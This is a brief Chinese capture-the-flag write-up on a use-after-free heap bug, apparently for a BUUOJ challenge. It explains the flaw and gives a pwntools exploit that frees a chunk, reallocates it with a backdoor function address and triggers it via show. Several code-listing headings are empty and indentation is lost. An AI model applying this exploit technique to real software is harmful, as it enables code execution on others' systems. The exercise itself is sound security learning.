Use After Free 即使用一块释放的堆内存。
当程序的一个对快释放后,若其对应的指针没有设为null时,依然可以调用该指针,如果用户没有对这块堆的内容作修改的话,一般程序还是能正常执行。而漏洞就在于,若用户将这个指针指向的内容修改为目标函数的话,程序再次调用这个指针时就能执行该目标函数。
main:
add:
delet:
show:
那么这题的思路就是输入name为后门函数,再用show去调用就可以了
exp:
coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p= remote('node3.buuoj.cn',26581)
def add(size,context):
p.recvuntil("u choice :\n")
p.sendline(str(1))
p.recvuntil("Please input the length of her name:\n")
p.sendline(str(size))
p.recvuntil("Please tell me her name:\n")
p.sendline(context)
def delete(index):
p.recvuntil("u choice :\n")
p.sendline(str(2))
p.recvuntil("Index :")
p.sendline(str(index))
def show(index):
p.recvuntil("u choice :\n")
p.sendline(str(3))
p.recvuntil("Index :")
p.sendline(str(index))
system = 0x0000000000400D86
add(0x30,"aaaa") #申请大小为0x30的堆
delete(0) #把前面申请的堆块feer掉
add(0x10,p64(0)+p64(system)) #这里指针指向的是后面的8字节
show(0) #调用指针处的函数
p.interactive()